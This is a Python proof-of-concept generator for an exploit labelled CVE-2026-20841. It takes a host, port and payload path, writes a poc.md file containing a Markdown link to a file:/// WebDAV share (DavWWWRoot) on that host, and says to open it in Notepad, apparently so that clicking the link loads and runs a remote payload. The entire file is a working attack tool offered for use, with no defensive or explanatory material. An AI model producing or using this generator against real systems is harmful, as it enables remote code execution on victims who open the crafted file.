import sys
import os

USAGE = f'Usage: python {os.path.basename(__file__)} <host> <port> <payload-path>'

def generate_poc(host, port, payload_path):
    if not (1 <= port <= 65535):
        raise ValueError('Port must be between 1 and 65535.')

    link = f'file:///\\\\{host}@{port}\\DavWWWRoot\\{payload_path}'
    md = f'# CVE-2026-20841 PoC\n\n[Open]({link})\n'

    with open('poc.md', 'w') as f:
        f.write(md)

    print('Wrote poc.md \u2014 open it with: notepad poc.md')

def main(argv):
    if len(argv) != 3:
        print(USAGE)
        return 1

    host, raw_port, payload = argv

    try:
        port = int(raw_port)
    except ValueError:
        print('Error: port must be an integer.', file=sys.stderr)
        return 1

    try:
        generate_poc(host, port, payload)
    except (ValueError, OSError) as err:
        print(f'Error: {err}', file=sys.stderr)
        return 1

    return 0

if __name__ == '__main__':
    sys.exit(main(sys.argv[1:]))